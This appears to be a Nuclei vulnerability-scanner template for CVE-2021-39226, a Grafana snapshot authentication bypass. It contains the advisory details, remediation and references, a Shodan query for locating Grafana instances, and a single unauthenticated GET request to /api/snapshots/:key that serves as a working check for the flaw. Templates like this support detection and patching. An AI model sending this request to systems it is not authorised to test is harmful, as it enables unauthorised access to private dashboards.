46 lines
2.3 KiB
YAML
46 lines
2.3 KiB
YAML
id: CVE-2021-39226
|
|
|
|
info:
|
|
name: Grafana Snapshot - Authentication Bypass
|
|
author: Evan Rubinstein
|
|
severity: high
|
|
description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
|
|
impact: |
|
|
An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature.
|
|
remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.'
|
|
reference:
|
|
- https://github.com/advisories/GHSA-69j6-29vr-p3j9
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-39226
|
|
- https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269
|
|
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/
|
|
- http://www.openwall.com/lists/oss-security/2021/10/05/4
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
|
|
cvss-score: 7.3
|
|
cve-id: CVE-2021-39226
|
|
cwe-id: CWE-287
|
|
epss-score: 0.97206
|
|
epss-percentile: 0.9981
|
|
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: grafana
|
|
product: grafana
|
|
shodan-query: title:"Grafana"
|
|
tags: cve2021,cve,grafana,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/api/snapshots/:key"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"isSnapshot":true'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a00463044022027a6674a28f69a52f39580540d18a72eb2709c0720b0725a6c3e3329440f89fd0220274bc494e4a05cba012dce578c752c6e70c263c973d674b0f4feca7f6a44cf44:922c64590222798bb761d5b6d8e72950 |